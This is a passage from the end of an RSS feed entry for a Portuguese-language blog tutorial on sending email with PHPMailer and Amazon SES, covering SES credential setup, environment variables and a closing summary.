<li><strong>Crie credenciais de acesso:</strong> No painel da AWS, crie um novo usuário com permissões específicas para o SES e gere as chaves de acesso (Access Key e Secret Key).</li>



<li><strong>Configure o PHPMailer:</strong> Use as chaves geradas nas variáveis de ambiente e configure o PHPMailer conforme mostrado no exemplo acima.</li>
</ol>



<h4 class="wp-block-heading"><strong>Conclusão</strong></h4>



<p class="wp-block-paragraph">Com essa configuração, você pode enviar e-mails de forma segura utilizando PHPMailer e variáveis de ambiente, além de integrar o Amazon SES para gerenciar grandes volumes de e-mails de forma escalável. Ao passar o e-mail do remetente como parâmetro, você permite que o usuário logado envie e-mails com seu próprio endereço, mantendo a personalização e autenticidade da comunicação.</p>



<p class="wp-block-paragraph">Essa abordagem não só melhora a segurança das suas aplicações como também oferece flexibilidade na gestão de envios de e-mail em projetos PHP.</p>



<p class="wp-block-paragraph"><strong>Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!</strong></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1163</post-id>	</item>
	</channel>
</rss>
